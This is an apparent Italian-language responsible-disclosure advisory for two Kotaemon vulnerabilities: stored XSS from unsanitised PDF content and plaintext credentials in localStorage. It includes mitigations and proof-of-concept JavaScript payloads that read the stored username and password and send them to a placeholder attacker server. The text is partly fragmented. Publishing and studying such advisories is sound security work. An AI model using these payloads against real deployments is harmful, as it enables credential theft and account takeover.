
Divulgazione pubblica per CVE-2025-56526 e CVE-2025-56527 — XSS persistente tramite rendering non sanitizzato di contenuti PDF ed esposizione di credenziali in chiaro in Kotaemon 0.11.0. Include analisi tecnica completa, PoC, valutazione dell'impatto e cronologia della divulgazione responsabile.
Lo Stored Cross-Site Scripting nel pannello informativo di Kotaemon si combina con l'archiviazione in chiaro delle credenziali in
localStorage, consentendo il pieno compromesso della sessione a partire da un singolo caricamento di un PDF dannoso.
<= 0.11.0 (incluso il commit 37cdc28)CVE-2025-56526 – Stored XSS tramite rendering non sanificato del contenuto PDFCVE-2025-56527 – Archiviazione in chiaro di nome utente/password in localStorage| ID CVE | Debolezza | CWE | Impatto principale |
|---|---|---|---|
| CVE-2025-56526 | Stored XSS tramite HTML derivato da PDF | CWE-79 | Esecuzione arbitraria di JavaScript, esfiltrazione di dati |
| CVE-2025-56527 | Archiviazione credenziali in chiaro | CWE-922 | Divulgazione di credenziali, dirottamento della sessione |
I risultati dell'estrazione PDF (testo, markup di tabelle, metadati delle immagini) vengono iniettati nel DOM senza escaping. Un PDF dannoso può quindi veicolare HTML/JS arbitrari che vengono eseguiti ogni volta che il pannello informativo o le viste Reasoning renderizzano retrieved_content.
I percorsi di codice interessati includono:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (rendering table / image)libs/ktem/ktem/reasoning/simple.py e libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStoragelibs/ktem/ktem/pages/login.py insieme a libs/ktem/ktem/assets/js/main.js memorizza e recupera le credenziali grezze direttamente da localStorage:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
Qualsiasi JavaScript eseguito tramite il vettore XSS può leggere immediatamente questi valori, determinando un furto affidabile delle credenziali e un duraturo furto dell'account.
alt di un'immagine o di un oggetto di testo): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password in chiaro vengono esposte a qualsiasi script iniettato.Kotaemon è spesso distribuito in ambienti locali o aziendali in cui gli utenti caricano documenti interni sensibili. Poiché il contenuto derivato dal PDF viene inserito nel DOM senza sanificazione, un attaccante può nascondere un payload dannoso all'interno di un documento aziendale dall'aspetto normale.
Quando la vittima carica e visualizza questo documento, il JavaScript nascosto viene eseguito automaticamente, rubando le credenziali da localStorage ed esponendo i registri di chat privati e i contenuti dei documenti.
Sebbene l'attivazione sembri iniziata dall'utente, non si tratta di self-XSS. La causa principale è la mancata sanificazione lato server dell'HTML estratto dai file caricati, che consente Stored XSS all'interno di componenti UI fidati.
Di conseguenza, un singolo PDF dannoso può portare al pieno compromesso dell'account in scenari realistici di ingegneria sociale.
html.escape, DOMPurify o Trusted Types per i sink DOM).script-src 'self') e Trusted Types per ridurre la superficie d'attacco DOM XSS.screenshots/)







Questa consulenza pubblica segue le pratiche standard di divulgazione responsabile del settore:
Gli utenti di Kotaemon (<= 0.11.0) dovrebbero considerare quanto segue fino a quando non sarà disponibile una correzione di sicurezza:
[email protected]